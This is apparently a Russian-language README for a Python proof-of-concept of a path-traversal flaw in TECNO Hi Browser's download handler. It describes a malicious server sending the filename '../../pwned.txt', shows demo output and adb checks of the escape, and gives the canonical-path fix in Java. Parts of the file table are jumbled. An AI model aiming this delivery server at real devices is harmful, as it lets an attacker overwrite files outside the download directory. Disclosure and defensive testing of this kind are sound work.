
Python PoC для CVE-2026-18907 — обход пути в обработчике загрузок TECNO Hi Browser. Включает вредоносный HTTP-сервер и наивный загрузчик для демонстрации исправления.
Proof-of-concept для CVE-2026-18907 (CVSS 7.5 High, CWE-23) — относительной уязвимости обхода пути в функции загрузки файлов браузера TECNO Hi Browser (com.talpa.hibrowser) версии 2.23.1.1. Браузер доверял управляемому атакующим имени файла из Content-Disposition и объединял его с каталогом загрузок без очистки разделителей пути и без проверки канонического пути результата — поэтому последовательности ../ в имени файла позволяли записать тело ответа за пределы Download/ в любой путь, который разрешают права хранилища браузера.
Этот PoC не включает проприетарный APK
com.talpa.hibrowser. Он демонстрирует (a) точную вредоносную HTTP-доставку и (b) класс первопричины ошибки (загрузчик, который доверяет имени файла из ответа как компоненту пути). Тот же примитив описан в CVE-2026-18907.
| Файл | Назначение |
|---|---|
evil_server.py | Вредоносный HTTP-сервер. Обслуживает один ответ, имя файла в которого содержит . Это и есть . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
Уязвимое объединение дало /tmp/demo/Download/../../pwned.txt, ОС разрешила .., и файл материализовался в /tmp/pwned.txt — за пределами каталога загрузок. Исправленный путь сначала применял os.path.basename() (../ — это информация о пути, она отбрасывается, остаётся pwned.txt), а затем проверял, что канонический путь остался внутри каталога загрузок.
Запустите evil_server.py на хосте, доступном тестовому устройству, затем откройте в уязвимом браузере http://<host>:8000/. В браузере, который автоматически запускает загрузку attachment и не очищает имя файла, файл записывается в путь, вычисленный по цепочке ../. Проверьте с помощью adb, что изоляция не сработала:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Настройте глубину подъёма под устройство параметром --depth (по умолчанию 2 поднимает путь от /sdcard/Download/ до /sdcard/; увеличьте, чтобы подняться выше), а имя файла в точке назначения — параметром --target.
Для любого менеджера загрузок весь класс CWE-23 сводится к двум привычкам, применяемым вместе:
/ включительно.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
Не заносите ../ в чёрный список — множество кодировок, эквивалентных обходу пути, безгранично. Канонизируйте, затем сравнивайте. Этот алгоритм замкнут.
Запускайте сервер только в контролируемой вами сети и тестируйте только на устройстве, которое вам принадлежит. Запись через path traversal — это, по определению, примитив записи в файл; не направляйте его на то, что вы не готовы перезаписать.
MIT — полную информацию об авторстве и первоисточниках см. в сопроводительной статье.
Content-Disposition../naive_downloader.py | Минимальный загрузчик, воспроизводящий уязвимый шаблон join(dir, filename), наряду с исправленной версией (basename + проверка канонического включения), чтобы вы могли наблюдать выход за пределы каталога за один запуск. |